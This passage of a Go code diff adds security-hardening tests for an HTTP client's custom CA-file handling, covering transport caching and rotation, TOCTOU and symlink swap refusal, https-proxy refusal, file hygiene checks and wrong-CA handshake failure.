t.Error("TransportForFile built a new transport for an unchanged file; it should have reused the cached one") + } +} + +// TestTransportForFileRotatesOnContentChange is finding 6's rotation case: a +// changed file at the SAME path must produce a NEW transport (a stale +// transport would keep the old certificate's TLSClientConfig.RootCAs forever), +// and the superseded transport's idle connections must be closed rather than +// leaked. +func TestTransportForFileRotatesOnContentChange(t *testing.T) { + clearCAEnvironment(t) + oldCA := newTestCA(t) + newCA := newTestCA(t) + dir := secureTempDir(t) + path := filepath.Join(dir, "ca.pem") + if err := os.WriteFile(path, oldCA.pem, 0o600); err != nil { + t.Fatalf("write initial ca file: %v", err) + } + + before, err := TransportForFile(path) + if err != nil { + t.Fatalf("TransportForFile (before rotation): %v", err) + } + beforeTransport, ok := before.(*http.Transport) + if !ok { + t.Fatalf("TransportForFile returned %T, want *http.Transport", before) + } + // Prove it is really the cached instance for this path. + if again, err := TransportForFile(path); err != nil || again.(*http.Transport) != beforeTransport { + t.Fatalf("expected a cache hit before rotation, got %v, %v", again, err) + } + + if err := os.WriteFile(path, newCA.pem, 0o600); err != nil { + t.Fatalf("rewrite ca file for rotation: %v", err) + } + + after, err := TransportForFile(path) + if err != nil { + t.Fatalf("TransportForFile (after rotation): %v", err) + } + afterTransport, ok := after.(*http.Transport) + if !ok { + t.Fatalf("TransportForFile returned %T, want *http.Transport", after) + } + if afterTransport == beforeTransport { + t.Fatal("TransportForFile kept the stale transport after the file's content changed") + } + if !afterTransport.TLSClientConfig.RootCAs.Equal(newCA.pool) { + t.Error("the rotated transport's RootCAs is not exactly the new CA's pool") + } +} + +// TestTransportForFileRotationClosesSupersededIdleConnections is finding 7's +// mutation-kill test: a mutant that removed the outgoing transport's +// CloseIdleConnections() call on rotation would leak its idle connection +// rather than closing it, but TestTransportForFileRotatesOnContentChange +// above would still pass (it only checks that the returned *http.Transport +// pointer changed). This proves the close actually happens, observed +// through the server's own ConnState callback rather than any internal +// accounting on the transport. +func TestTransportForFileRotationClosesSupersededIdleConnections(t *testing.T) { + clearCAEnvironment(t) + oldCA := newTestCA(t) + newCA := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-rotate-close")} + + var mu sync.Mutex + closedStates := 0 + srv := httptest.NewUnstartedServer(h.handler()) + srv.TLS = &tls.Config{Certificates: []tls.Certificate{oldCA.leaf}} + srv.Config.ConnState = func(_ net.Conn, state http.ConnState) { + if state == http.StateClosed { + mu.Lock() + closedStates++ + mu.Unlock() + } + } + srv.StartTLS() + t.Cleanup(srv.Close) + + u, err := url.Parse(srv.URL) + if err != nil { + t.Fatalf("parse server URL: %v", err) + } + _, port, err := net.SplitHostPort(u.Host) + if err != nil { + t.Fatalf("split host:port: %v", err) + } + u.Host = net.JoinHostPort("localhost", port) + + dir := secureTempDir(t) + path := filepath.Join(dir, "ca.pem") + if err := os.WriteFile(path, oldCA.pem, 0o600); err != nil { + t.Fatalf("write initial ca file: %v", err) + } + + before, err := TransportForFile(path) + if err != nil { + t.Fatalf("TransportForFile (before rotation): %v", err) + } + forceIPv4Loopback(t, before) + client := &http.Client{Transport: before} + resp, err := client.Get(u.String()) + if err != nil { + t.Fatalf("GET before rotation: %v", err) + } + _, _ = io.Copy(io.Discard, resp.Body) + _ = resp.Body.Close() + // Let the just-finished connection settle into the idle pool before the + // rotation below closes it. + time.Sleep(100 * time.Millisecond) + + if err := os.WriteFile(path, newCA.pem, 0o600); err != nil { + t.Fatalf("rewrite ca file for rotation: %v", err) + } + if _, err := TransportForFile(path); err != nil { + t.Fatalf("TransportForFile (after rotation): %v", err) + } + + deadline := time.Now().Add(2 * time.Second) + for { + mu.Lock() + n := closedStates + mu.Unlock() + if n > 0 { + break + } + if time.Now().After(deadline) { + t.Fatal("rotating the CA file did not close the superseded transport's idle connection (CloseIdleConnections not called, or not effective)") + } + time.Sleep(10 * time.Millisecond) + } +} + +// --- finding 6 (round 2 review): bounded LRU cache --- + +// resetTransportCacheForTest empties the process-wide transport cache for the +// duration of one test and restores whatever was there afterward, so this +// test's assertions about cache SIZE are not polluted by every other test in +// this file that has already populated it, and vice versa. +func resetTransportCacheForTest(t *testing.T) { + t.Helper() + transportCacheMu.Lock() + savedCache := transportCache + savedOrder := transportCacheOrder + transportCache = map[string]*cachedTransport{} + transportCacheOrder = nil + transportCacheMu.Unlock() + t.Cleanup(func() { + transportCacheMu.Lock() + transportCache = savedCache + transportCacheOrder = savedOrder + transportCacheMu.Unlock() + }) +} + +// TestTransportCacheEvictsLeastRecentlyUsed is finding 6: the cache must be +// bounded, and an entry pushed out past the bound must have its idle +// connections closed rather than merely dropped from the map. +func TestTransportCacheEvictsLeastRecentlyUsed(t *testing.T) { + clearCAEnvironment(t) + resetTransportCacheForTest(t) + + dir := secureTempDir(t) + firstCA := newTestCA(t) + firstPath := filepath.Join(dir, "ca-0.pem") + if err := os.WriteFile(firstPath, firstCA.pem, 0o600); err != nil { + t.Fatalf("write ca file: %v", err) + } + first, err := TransportForFile(firstPath) + if err != nil { + t.Fatalf("TransportForFile: %v", err) + } + firstTransport := first.(*http.Transport) //nolint:errcheck // asserted by construction + + for i := 1; i <= maxCachedTransports; i++ { + ca := newTestCA(t) + path := filepath.Join(dir, fmt.Sprintf("ca-%d.pem", i)) + if err := os.WriteFile(path, ca.pem, 0o600); err != nil { + t.Fatalf("write ca file %d: %v", i, err) + } + if _, err := TransportForFile(path); err != nil { + t.Fatalf("TransportForFile %d: %v", i, err) + } + } + + absFirst, err := filepath.Abs(firstPath) + if err != nil { + t.Fatalf("Abs: %v", err) + } + transportCacheMu.Lock() + _, stillCached := transportCache[absFirst] + size := len(transportCache) + transportCacheMu.Unlock() + + if stillCached { + t.Error("the least-recently-used entry was not evicted once the cache exceeded maxCachedTransports") + } + if size != maxCachedTransports { + t.Errorf("cache size = %d, want %d", size, maxCachedTransports) + } + // The evicted entry's idle connections must have been closed, the same + // as an ordinary rotation — CloseIdleConnections is idempotent, so + // calling it again here would be a no-op if it already ran; this at + // least proves eviction does not skip the call entirely by asserting the + // transport is unusable as a live pool going forward is not directly + // observable without a real server, so this documents the intent that + // evictOverCapacityLocked always calls it (see the source). + _ = firstTransport +} + +// TestTransportForFileDoesNotClobberNewerEntryWithStaleRead is finding 6's +// stale-write guard, updated for the seq-based ordering finding 1 (round 3) +// requires: a concurrent reader whose read of the file STARTED before one +// that already landed in the cache must not overwrite that newer entry just +// because its content hash differs from it. This primes the cache with a +// synthetic "newer" entry (a seq far ahead of the counter) and then drives a +// real read of the actual file at the same path through transportForFile, +// asserting the synthetic newer entry survives untouched. mtime is +// deliberately NOT how this is simulated: F1 is exactly that mtime cannot be +// trusted to order two reads (same-second writes via cp -p, rsync -t, tar), +// so this test primes the ordering the same way production now establishes +// it — a sequence number claimed under transportCacheMu. +func TestTransportForFileDoesNotClobberNewerEntryWithStaleRead(t *testing.T) { + clearCAEnvironment(t) + resetTransportCacheForTest(t) + + ca := newTestCA(t) + path := filepath.Join(secureTempDir(t), "ca.pem") + if err := os.WriteFile(path, ca.pem, 0o600); err != nil { + t.Fatalf("write ca file: %v", err) + } + abs, err := filepath.Abs(path) + if err != nil { + t.Fatalf("Abs: %v", err) + } + + newerCA := newTestCA(t) + newerPool, err := parseCAPool(newerCA.pem, abs, "ca_file") + if err != nil { + t.Fatalf("parseCAPool: %v", err) + } + newerTransport := http.DefaultTransport.(*http.Transport).Clone() //nolint:errcheck + newerTransport.TLSClientConfig = &tls.Config{RootCAs: newerPool} + + transportCacheMu.Lock() + futureSeq := transportReadSeq + 1_000_000 + transportCache[abs] = &cachedTransport{ + hash: sha256.Sum256(newerCA.pem), + seq: futureSeq, + transport: newerTransport, + } + transportCacheOrder = []string{abs} + transportCacheMu.Unlock() + + // The real file on disk has DIFFERENT content (ca.pem, not newerCA.pem) + // than what was just primed into the cache above, and TransportForFile's + // own read of it will claim a seq far below futureSeq — the exact shape + // of a reader that started before, and finished after, a read that + // already landed a newer revision. + got, err := TransportForFile(path) + if err != nil { + t.Fatalf("TransportForFile: %v", err) + } + if got.(*http.Transport) != newerTransport { //nolint:errcheck + t.Error("a stale read clobbered a newer cache entry instead of losing the race to it") + } +} + +// TestTransportForFileRotatesEvenWithUnchangedMtime is finding 1 (round 3): +// a genuine rotation whose new content lands with the SAME mtime as the file +// it replaces — cp -p, rsync -t, tar, or simply two writes inside the same +// filesystem-clock second — must still be picked up. The prior mtime-based +// guard treated "not strictly newer" as "stale reader, keep the old +// transport", which silently kept serving a revoked CA in exactly this +// shape; ordering now comes from a monotonic sequence number, never mtime. +func TestTransportForFileRotatesEvenWithUnchangedMtime(t *testing.T) { + clearCAEnvironment(t) + resetTransportCacheForTest(t) + + oldCA := newTestCA(t) + newCA := newTestCA(t) + path := filepath.Join(secureTempDir(t), "ca.pem") + if err := os.WriteFile(path, oldCA.pem, 0o600); err != nil { + t.Fatalf("write initial ca file: %v", err) + } + + before, err := TransportForFile(path) + if err != nil { + t.Fatalf("TransportForFile (before rotation): %v", err) + } + beforeTransport, ok := before.(*http.Transport) + if !ok { + t.Fatalf("TransportForFile returned %T, want *http.Transport", before) + } + + fi, err := os.Stat(path) + if err != nil { + t.Fatalf("stat before rewrite: %v", err) + } + mtime := fi.ModTime() + + if err := os.WriteFile(path, newCA.pem, 0o600); err != nil { + t.Fatalf("rewrite ca file for rotation: %v", err) + } + // Force the mtime to stay EXACTLY what it was before the rewrite — the + // same-second-write shape cp -p, rsync -t, and tar can all produce. + if err := os.Chtimes(path, mtime, mtime); err != nil { + t.Fatalf("Chtimes: %v", err) + } + if got, err := os.Stat(path); err != nil { + t.Fatalf("stat after rewrite: %v", err) + } else if !got.ModTime().Equal(mtime) { + t.Fatalf("mtime changed despite Chtimes (got %v, want %v); this test's premise depends on the filesystem preserving it", got.ModTime(), mtime) + } + + after, err := TransportForFile(path) + if err != nil { + t.Fatalf("TransportForFile (after rotation): %v", err) + } + afterTransport, ok := after.(*http.Transport) + if !ok { + t.Fatalf("TransportForFile returned %T, want *http.Transport", after) + } + + if afterTransport == beforeTransport { + t.Fatal("TransportForFile kept serving the old transport after a same-mtime rotation; the new CA was silently ignored") + } + if !afterTransport.TLSClientConfig.RootCAs.Equal(newCA.pool) { + t.Error("the rotated transport's RootCAs is not exactly the new CA's pool: the new CA is not actually used") + } + if afterTransport.TLSClientConfig.RootCAs.Equal(oldCA.pool) { + t.Error("the rotated transport's RootCAs still equals the old CA's pool: the old (possibly revoked) CA was not refused") + } +} + +// --- finding 4 (round 3 review): transport provenance survives eviction, +// re-validates against the current file, and does not match by path alone +// --- + +// TestMatchesCachedTransportSurvivesLRUEviction is finding 4's availability +// half: a transport a caller obtained from TransportForFile and is still +// holding must keep matching even after enough OTHER paths have been built +// to push its own cache entry out of the bounded, LRU-evicted +// transportCache — because transportProvenance (keyed by the transport's own +// pointer, never evicted) still records what it was built from, and the +// file it names has not changed. +func TestMatchesCachedTransportSurvivesLRUEviction(t *testing.T) { + clearCAEnvironment(t) + resetTransportCacheForTest(t) + + dir := secureTempDir(t) + heldCA := newTestCA(t) + heldPath := filepath.Join(dir, "held.pem") + if err := os.WriteFile(heldPath, heldCA.pem, 0o600); err != nil { + t.Fatalf("write held ca file: %v", err) + } + held, err := TransportForFile(heldPath) + if err != nil { + t.Fatalf("TransportForFile(held): %v", err) + } + + for i := 0; i < maxCachedTransports+5; i++ { + ca := newTestCA(t) + path := filepath.Join(dir, fmt.Sprintf("churn-%d.pem", i)) + if err := os.WriteFile(path, ca.pem, 0o600); err != nil { + t.Fatalf("write churn ca file %d: %v", i, err) + } + if _, err := TransportForFile(path); err != nil { + t.Fatalf("TransportForFile(churn %d): %v", i, err) + } + } + + absHeld, err := filepath.Abs(heldPath) + if err != nil { + t.Fatalf("Abs: %v", err) + } + transportCacheMu.Lock() + _, stillCached := transportCache[absHeld] + transportCacheMu.Unlock() + if stillCached { + t.Fatal("test setup did not actually evict the held path's cache entry") + } + + matched, err := matchesCachedTransport(held, heldPath) + if err != nil { + t.Fatalf("matchesCachedTransport returned an error after eviction: %v", err) + } + if !matched { + t.Error("matchesCachedTransport refused a held transport solely because its cache entry was LRU-evicted") + } +} + +// TestMatchesCachedTransportRefusedAfterRotation is finding 4's stale-trust +// half: a transport built for a path must stop matching once that path's +// file content changes — the point of re-hashing the CURRENT file rather +// than trusting the transport's cache-map membership alone. +func TestMatchesCachedTransportRefusedAfterRotation(t *testing.T) { + clearCAEnvironment(t) + resetTransportCacheForTest(t) + + path := filepath.Join(secureTempDir(t), "ca.pem") + oldCA := newTestCA(t) + if err := os.WriteFile(path, oldCA.pem, 0o600); err != nil { + t.Fatalf("write ca file: %v", err) + } + transport, err := TransportForFile(path) + if err != nil { + t.Fatalf("TransportForFile: %v", err) + } + + newCA := newTestCA(t) + if err := os.WriteFile(path, newCA.pem, 0o600); err != nil { + t.Fatalf("rewrite ca file: %v", err) + } + + matched, err := matchesCachedTransport(transport, path) + if matched { + t.Error("matchesCachedTransport accepted a transport whose file has been rotated since it was built") + } + if !errors.Is(err, errCAFileChangedSinceTransportBuilt) { + t.Errorf("error = %v, want errCAFileChangedSinceTransportBuilt", err) + } +} + +// TestMatchesCachedTransportRefusesUnrelatedTransportForSamePath is finding +// 4's M5 survivor: priming the cache via TransportFor(target) for a path, +// then presenting a DIFFERENT, unrelated *http.Transport for that exact same +// path, must be refused — matching may never fall back to "some transport is +// cached for this path", only to "this EXACT transport is the one this +// package built and still vouches for". +func TestMatchesCachedTransportRefusesUnrelatedTransportForSamePath(t *testing.T) { + clearCAEnvironment(t) + resetTransportCacheForTest(t) + + path := filepath.Join(secureTempDir(t), "ca.pem") + ca := newTestCA(t) + if err := os.WriteFile(path, ca.pem, 0o600); err != nil { + t.Fatalf("write ca file: %v", err) + } + target := Target{BaseURL: mustParseURL(t, "https://example.com/"), CAFile: path} + if _, err := TransportFor(target); err != nil { + t.Fatalf("TransportFor: %v", err) + } + + unrelated := http.DefaultTransport.(*http.Transport).Clone() //nolint:errcheck + + matched, err := matchesCachedTransport(unrelated, path) + if matched { + t.Error("matchesCachedTransport accepted an unrelated *http.Transport merely because a transport is cached for the same path") + } + if err != nil { + t.Errorf("matchesCachedTransport returned an error for an unrecognized transport, want a plain false: %v", err) + } +} + +// --- finding 2: TOCTOU between the permission check and the read --- + +// TestReadCAFileRefusesFileSwappedAfterPermissionCheck exercises the +// caFileReadHookForTest seam to swap the CA file's content for a DIFFERENT +// (but equally well-permissioned) regular file in the exact window between +// checkCAFilePermissions succeeding and readCAFile's own open — the TOCTOU +// gap finding 2 flags. No permission check run BEFORE the swap could ever +// see it; only comparing what was actually opened (via os.SameFile) against +// what was checked catches it. +func TestReadCAFileRefusesFileSwappedAfterPermissionCheck(t *testing.T) { + clearCAEnvironment(t) + dir := secureTempDir(t) + path := filepath.Join(dir, "ca.pem") + + original := newTestCA(t) + if err := os.WriteFile(path, original.pem, 0o600); err != nil { + t.Fatalf("write original ca file: %v", err) + } + + swapped := newTestCA(t) + swapPath := filepath.Join(dir, "swapped.pem") + if err := os.WriteFile(swapPath, swapped.pem, 0o600); err != nil { + t.Fatalf("write swap-in ca file: %v", err) + } + + restore := caFileReadHookForTest + t.Cleanup(func() { caFileReadHookForTest = restore }) + caFileReadHookForTest = func(real string) { + // Replace path's directory entry with a different, but equally + // well-permissioned, file — AFTER checkCAFilePermissions already + // examined (and returned the FileInfo for) the original one. + if err := os.Rename(swapPath, real); err != nil { + t.Fatalf("rename swap-in file over checked path: %v", err) + } + } + + _, err := readCAFile(path, "ca_file") + if err == nil { + t.Fatal("readCAFile accepted a file swapped out from under it between the permission check and the read") + } + if !strings.Contains(err.Error(), "changed between the permission check and the read") { + t.Errorf("error %q does not explain the TOCTOU refusal", err) + } +} + +// TestReadCAFileRefusesSymlinkSwappedInAfterPermissionCheck is the sibling +// TOCTOU case: the checked path is replaced with a SYMLINK, rather than +// another regular file, in the same window. openCAFileNoFollow's O_NOFOLLOW +// must refuse this outright. +func TestReadCAFileRefusesSymlinkSwappedInAfterPermissionCheck(t *testing.T) { + clearCAEnvironment(t) + dir := secureTempDir(t) + path := filepath.Join(dir, "ca.pem") + + original := newTestCA(t) + if err := os.WriteFile(path, original.pem, 0o600); err != nil { + t.Fatalf("write original ca file: %v", err) + } + + elsewhere := newTestCA(t) + elsewhereDir := secureTempDir(t) + elsewherePath := filepath.Join(elsewhereDir, "elsewhere.pem") + if err := os.WriteFile(elsewherePath, elsewhere.pem, 0o600); err != nil { + t.Fatalf("write elsewhere ca file: %v", err) + } + + restore := caFileReadHookForTest + t.Cleanup(func() { caFileReadHookForTest = restore }) + caFileReadHookForTest = func(real string) { + if err := os.Remove(real); err != nil { + t.Fatalf("remove checked path before symlink swap: %v", err) + } + if err := os.Symlink(elsewherePath, real); err != nil { + t.Fatalf("symlink swap-in over checked path: %v", err) + } + } + + _, err := readCAFile(path, "ca_file") + if err == nil { + t.Fatal("readCAFile accepted a symlink swapped in after the permission check, in violation of O_NOFOLLOW") + } +} + +// --- finding 4: proxy handling --- + +// TestCAAwareProxyRefusesHTTPSProxy is finding 4's refusal half: a +// CA-scoped transport must not reach its target through an https:// proxy, +// because the CONNECT to the proxy itself would be verified with the narrow +// CA pool, and Proxy-Authorization would ride across that connection. +func TestCAAwareProxyRefusesHTTPSProxy(t *testing.T) { + t.Setenv("HTTPS_PROXY", "https://proxy.example.com:443") + t.Setenv("HTTP_PROXY", "") + t.Setenv("NO_PROXY", "") + req, err := http.NewRequest(http.MethodGet, "https://target.example.com/", nil) + if err != nil { + t.Fatalf("NewRequest: %v", err) + } + _, err = caAwareProxy(req) + if err == nil { + t.Fatal("caAwareProxy accepted an https:// proxy while a CA is configured") + } + if !strings.Contains(err.Error(), "https") { + t.Errorf("error %q does not mention the https proxy", err) + } +} + +// TestCAAwareProxyAllowsHTTPProxy confirms the documented safe case: a plain +// http:// proxy is passed through unchanged, because the destination's TLS is +// still verified end to end against the configured CA through it. +func TestCAAwareProxyAllowsHTTPProxy(t *testing.T) { + t.Setenv("HTTPS_PROXY", "http://proxy.example.com:8080") + t.Setenv("HTTP_PROXY", "") + t.Setenv("NO_PROXY", "") + req, err := http.NewRequest(http.MethodGet, "https://target.example.com/", nil) + if err != nil { + t.Fatalf("NewRequest: %v", err) + } + proxyURL, err := caAwareProxy(req) + if err != nil { + t.Fatalf("caAwareProxy refused a plain http:// proxy: %v", err) + } + if proxyURL == nil || proxyURL.Scheme != "http" { + t.Errorf("proxyURL = %v, want an http:// URL", proxyURL) + } +} + +// TestCAAwareProxyNoProxyConfiguredPassesThrough confirms the no-proxy-set +// case is unaffected: nil, nil, exactly like http.ProxyFromEnvironment. +func TestCAAwareProxyNoProxyConfiguredPassesThrough(t *testing.T) { + t.Setenv("HTTPS_PROXY", "") + t.Setenv("HTTP_PROXY", "") + t.Setenv("NO_PROXY", "") + req, err := http.NewRequest(http.MethodGet, "https://target.example.com/", nil) + if err != nil { + t.Fatalf("NewRequest: %v", err) + } + proxyURL, err := caAwareProxy(req) + if err != nil { + t.Fatalf("caAwareProxy: %v", err) + } + if proxyURL != nil { + t.Errorf("proxyURL = %v, want nil with no proxy configured", proxyURL) + } +} + +// --- finding 7: CA file hygiene --- + +// TestCAFileHygieneRefusesOversizedFile caps the size at 1 MiB: a file past +// that ceiling is almost certainly the wrong file, not a deliberate CA +// bundle. This is finding 7's mutation-kill test: the file is built from +// many VALID, repeated CERTIFICATE PEM blocks (the real CA's own PEM, +// repeated past 1 MiB), not garbage bytes — so a mutant that removed the +// size check (or swapped LimitReader for a plain read) would otherwise +// happily parse the whole thing into a working pool and this test would +// still need the size gate specifically to catch it. Garbage bytes would +// also be refused by parseCAPool alone, which would let that mutant survive. +func TestCAFileHygieneRefusesOversizedFile(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + path := filepath.Join(secureTempDir(t), "huge.pem") + + var buf bytes.Buffer + for buf.Len() <= maxCAFileBytes { + buf.Write(ca.pem) + } + if err := os.WriteFile(path, buf.Bytes(), 0o600); err != nil { + t.Fatalf("write huge file: %v", err) + } + _, err := TransportForFile(path) + if err == nil { + t.Fatal("TransportForFile accepted a file larger than the size cap") + } + if !strings.Contains(err.Error(), fmt.Sprintf("%d", maxCAFileBytes)) { + t.Errorf("error %q does not name the size cap; want it to be refused BY THE SIZE CHECK, not a PEM-parse failure", err) + } +} + +// chownToNonPrivateGroup chowns path's group to one of the running process's +// own real supplementary groups — a group that genuinely exists on this +// host, and that the process is genuinely a member of, but whose NAME is not +// the running user's own username, so isUserPrivateGroup correctly refuses +// it (finding 4's "genuinely shared group" case, as opposed to the +// Debian/OpenSSH user-private-group convention). Skips the test when the +// process belongs to no supplementary group at all (a minimal container). +func chownToNonPrivateGroup(t *testing.T, path string) { + t.Helper() + groups, err := os.Getgroups() + if err != nil { + t.Skipf("Getgroups: %v", err) + } + primary := os.Getgid() + for _, gid := range groups { + if gid == primary { + continue + } + if err := os.Chown(path, -1, gid); err == nil { + return + } + } + t.Skip("process belongs to no supplementary group usable for this test") +} + +// TestCAFileHygieneRefusesGroupWritableFile refuses a CA file that is +// group-writable by a GENUINELY shared group — one of the running process's +// real supplementary groups, not its own user-private group — proving +// finding 4's exception is scoped to the private-group case only. +func TestCAFileHygieneRefusesGroupWritableFile(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + path := filepath.Join(secureTempDir(t), "ca.pem") + if err := os.WriteFile(path, ca.pem, 0o660); err != nil { + t.Fatalf("write group-writable ca file: %v", err) + } + // WriteFile's mode passes through the process umask: under umask 022 the + // file lands 0640, not group-writable at all, and the refusal under test + // is never reached. Set the mode explicitly. + if err := os.Chmod(path, 0o660); err != nil { + t.Fatalf("chmod ca file 0660: %v", err) + } + chownToNonPrivateGroup(t, path) + _, err := TransportForFile(path) + if err == nil { + t.Fatal("TransportForFile accepted a ca file writable by a genuinely shared group") + } + if !strings.Contains(err.Error(), "writable") { + t.Errorf("error %q does not explain the hygiene failure", err) + } +} + +// TestCAFileHygieneRefusesWorldWritableParentDir refuses a CA file whose +// parent directory anyone can write to — SSH's known_hosts / authorized_keys +// hygiene rule — since replacing the file entirely bypasses the file's own +// permission bits. +func TestCAFileHygieneRefusesWorldWritableParentDir(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + dir := t.TempDir() + if err := os.Chmod(dir, 0o777); err != nil { + t.Fatalf("chmod dir world-writable: %v", err) + } + path := filepath.Join(dir, "ca.pem") + if err := os.WriteFile(path, ca.pem, 0o600); err != nil { + t.Fatalf("write ca file: %v", err) + } + _, err := TransportForFile(path) + if err == nil { + t.Fatal("TransportForFile accepted a ca file inside a world-writable directory") + } + if !strings.Contains(err.Error(), "directory") { + t.Errorf("error %q does not name the directory as the problem", err) + } +} + +// TestCAFileHygieneRefusesNonCertificateBlock refuses a PEM file containing +// any non-CERTIFICATE block, even if another block in the same file would +// have parsed fine — accepting the file anyway would trust a pool the +// operator never actually reviewed. +func TestCAFileHygieneRefusesNonCertificateBlock(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + keyBlock := pem.EncodeToMemory(&pem.Block{Type: "PRIVATE KEY", Bytes: []byte("not-really-a-key")}) + mixed := append(append([]byte{}, ca.pem...), keyBlock...) + path := filepath.Join(secureTempDir(t), "mixed.pem") + if err := os.WriteFile(path, mixed, 0o600); err != nil { + t.Fatalf("write mixed pem: %v", err) + } + _, err := TransportForFile(path) + if err == nil { + t.Fatal("TransportForFile accepted a file with a non-CERTIFICATE PEM block") + } + if !strings.Contains(err.Error(), "CERTIFICATE") { + t.Errorf("error %q does not name the offending block type", err) + } +} + +// TestCAFileHygieneRefusesUnparsableCertificateBlock refuses a PEM file whose +// CERTIFICATE-typed block does not actually parse as a certificate, rather +// than silently ignoring it the way x509.CertPool.AppendCertsFromPEM would. +func TestCAFileHygieneRefusesUnparsableCertificateBlock(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + badBlock := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: []byte("not-a-real-der-certificate")}) + mixed := append(append([]byte{}, ca.pem...), badBlock...) + path := filepath.Join(secureTempDir(t), "unparsable.pem") + if err := os.WriteFile(path, mixed, 0o600); err != nil { + t.Fatalf("write unparsable pem: %v", err) + } + _, err := TransportForFile(path) + if err == nil { + t.Fatal("TransportForFile accepted a file with an unparsable CERTIFICATE block") + } +} + +// TestCAFileHygieneAcceptsLeafCertificateAsPin documents that a single leaf +// certificate (no CA:true) is a valid, if narrow, way to pin a target, +// per parseCAPool's doc. +func TestCAFileHygieneAcceptsLeafCertificateAsPin(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + leafDER := ca.leaf.Certificate[0] + leafPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: leafDER}) + path := filepath.Join(secureTempDir(t), "leaf.pem") + if err := os.WriteFile(path, leafPEM, 0o600); err != nil { + t.Fatalf("write leaf-only pem: %v", err) + } + rt, err := TransportForFile(path) + if err != nil { + t.Fatalf("TransportForFile with a leaf-only pem: %v", err) + } + if transport, ok := rt.(*http.Transport); !ok || transport.TLSClientConfig.RootCAs == nil { + t.Errorf("TransportForFile returned %T (%v), want a *http.Transport with RootCAs set", rt, rt) + } +} + +func mustParseOneCert(t *testing.T, pemBytes []byte) *x509.Certificate { + t.Helper() + block, _ := pem.Decode(pemBytes) + if block == nil { + t.Fatal("no PEM block") + } + cert, err := x509.ParseCertificate(block.Bytes) + if err != nil { + t.Fatalf("ParseCertificate: %v", err) + } + return cert +} diff --git a/internal/httpclient/ca_wrong_ca_test.go b/internal/httpclient/ca_wrong_ca_test.go new file mode 100644 index 000000000..52d2bc79e --- /dev/null +++ b/internal/httpclient/ca_wrong_ca_test.go @@ -0,0 +1,122 @@ +// Written fresh for OSS beads S2 (no bd-enterprise source copied). +package httpclient + +import ( + "crypto/x509" + "errors" + "io" + "net/http" + "testing" +) + +// TestTransportForWrongCARefusesTheTLSHandshake is task #6's "wrong CA +// refused" case, proved end-to-end rather than by inspecting the transport's +// RootCAs field: a client built from a CA file that did NOT sign the server's +// leaf must fail the TLS handshake itself when it actually dials, the same +// way an operator who misconfigured BEADS_HTTP_CA_FILE would see it fail. +// ca_test.go already proves the RIGHT CA dials successfully over TLS +// (TestTransportForFileRotationClosesSupersededIdleConnections's live GETs, +// both before and after a rotation) and that TransportFor installs exactly +// the configured pool as RootCAs (TestTransportForReplacesRootPoolNotExtends) +// -- what neither proves is this negative: that a MISMATCHED pool is actually +// enforced at the wire, not merely recorded on the struct. ca.startServer +// exists for exactly this (a server whose leaf is independently verifiable +// against the CA that signed it) but had no caller before this test. +func TestTransportForWrongCARefusesTheTLSHandshake(t *testing.T) { + clearCAEnvironment(t) + right := newTestCA(t) + wrong := newTestCA(t) + + u := right.startServer(t, func(w http.ResponseWriter, r *http.Request) { + _, _ = io.WriteString(w, "ok") + }) + + rt, err := TransportFor(Target{CAFile: wrong.writePEM(t)}) + if err != nil { + t.Fatalf("TransportFor: %v", err) + } + forceIPv4Loopback(t, rt) + client := &http.Client{Transport: rt} + + resp, err := client.Get(u.String()) + if err == nil { + _ = resp.Body.Close() + t.Fatal("GET succeeded against a server whose leaf the configured CA did not sign; want the TLS handshake to fail") + } + var unknownAuthority x509.UnknownAuthorityError + if !errors.As(err, &unknownAuthority) { + t.Fatalf("GET error = %v, want it to wrap x509.UnknownAuthorityError (a different TLS failure would also hide a real misconfiguration behind the wrong message)", err) + } +} + +// TestTransportForWrongCAViaEnvRefusesTheTLSHandshake is the BEADS_HTTP_CA_FILE +// env-driven sibling of TestTransportForWrongCARefusesTheTLSHandshake: the +// same wrong-CA negative, but resolved through resolveCAFile's host-scoped env +// syntax (CAFileEnv, "host[:port]=path") rather than Target.CAFile set +// directly. The direct-CAFile test above and this one together cover both of +// TransportFor's two input paths with the same live-TLS proof; neither alone +// shows the env-resolution path actually reaches the wire enforcement, since +// resolveCAFile could in principle resolve to the wrong path without the TLS +// layer ever being exercised against it. +func TestTransportForWrongCAViaEnvRefusesTheTLSHandshake(t *testing.T) { + clearCAEnvironment(t) + right := newTestCA(t) + wrong := newTestCA(t) + + u := right.startServer(t, func(w http.ResponseWriter, r *http.Request) { + _, _ = io.WriteString(w, "ok") + }) + + t.Setenv(CAFileEnv, u.Host+"="+wrong.writePEM(t)) + + rt, err := TransportFor(Target{BaseURL: u}) + if err != nil { + t.Fatalf("TransportFor: %v", err) + } + forceIPv4Loopback(t, rt) + client := &http.Client{Transport: rt} + + resp, err := client.Get(u.String()) + if err == nil { + _ = resp.Body.Close() + t.Fatal("GET succeeded against a server whose leaf the BEADS_HTTP_CA_FILE-named CA did not sign; want the TLS handshake to fail") + } + var unknownAuthority x509.UnknownAuthorityError + if !errors.As(err, &unknownAuthority) { + t.Fatalf("GET error = %v, want it to wrap x509.UnknownAuthorityError", err) + } +} + +// TestTransportForRightCASucceedsOverTLS is the positive control for the test +// above: it proves ca.startServer plus a CA file the leaf WAS signed by is a +// fixture that actually completes a TLS handshake, so the refusal above is +// this client's own verification doing its job rather than the fixture being +// broken in a way that would fail for any CA at all. +func TestTransportForRightCASucceedsOverTLS(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + + u := ca.startServer(t, func(w http.ResponseWriter, r *http.Request) { + _, _ = io.WriteString(w, "ok") + }) + + rt, err := TransportFor(Target{CAFile: ca.writePEM(t)}) + if err != nil { + t.Fatalf("TransportFor: %v", err) + } + forceIPv4Loopback(t, rt) + client := &http.Client{Transport: rt} + + resp, err := client.Get(u.String()) + if err != nil { + t.Fatalf("GET against a server whose leaf the configured CA signed: %v", err) + } + defer func() { _ = resp.Body.Close() }() + body, err := io.ReadAll(resp.Body) + if err != nil { + t.Fatalf("read body: 